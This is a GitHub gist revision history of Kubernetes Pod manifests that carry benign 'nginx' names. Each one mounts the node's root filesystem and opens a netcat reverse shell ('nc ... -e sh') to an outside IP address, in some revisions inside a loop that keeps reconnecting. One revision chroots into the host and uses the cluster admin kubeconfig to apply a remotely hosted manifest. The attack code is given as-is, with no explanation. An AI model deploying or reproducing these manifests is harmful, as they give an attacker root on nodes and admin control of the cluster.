Last active
December 21, 2019 02:14
-
-
Save bgeesaman/a26886d96d8954b9ef0165af4f2ec9d0 to your computer and use it in GitHub Desktop.
Revisions
-
bgeesaman revised this gist
Dec 21, 2019 . 1 changed file with 3 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,18 +1,18 @@ apiVersion: v1 kind: Pod metadata: name: nginx5 namespace: lake labels: app: nginx5 spec: containers: - image: docker.io/library/busybox:1.28.4 name: nginx command: - sh - -c - while true; do nc 35.188.15.71 80 -e sh; done volumeMounts: - mountPath: /rootfs name: host -
bgeesaman revised this gist
Dec 21, 2019 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,10 +1,10 @@ apiVersion: v1 kind: Pod metadata: name: nginx4 namespace: lake labels: app: nginx4 spec: containers: - image: docker.io/library/busybox:1.28.4 -
bgeesaman revised this gist
Dec 21, 2019 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -12,7 +12,7 @@ spec: command: - sh - -c - chroot /rootfs kubectl --kubeconfig=/etc/kubernetes/admin.conf apply -f https://gist.github.com/bgeesaman/4448326243cf344396b79fc53c426258/raw/10063b40102f6ab9c401f9c9ba34cb16c5cdce6e/pod3.yaml volumeMounts: - mountPath: /rootfs name: host -
bgeesaman revised this gist
Dec 21, 2019 . 1 changed file with 1 addition and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -12,11 +12,7 @@ spec: command: - sh - -c - while true; do nc 35.188.15.71 80 -e sh; done volumeMounts: - mountPath: /rootfs name: host -
bgeesaman created this gist
Dec 21, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,26 @@ apiVersion: v1 kind: Pod metadata: name: nginx2 namespace: lake labels: app: nginx2 spec: containers: - image: docker.io/library/busybox:1.28.4 name: nginx command: - sh - -c - nc - 35.188.15.71 - 80 - -e - sh volumeMounts: - mountPath: /rootfs name: host volumes: - name: host hostPath: path: /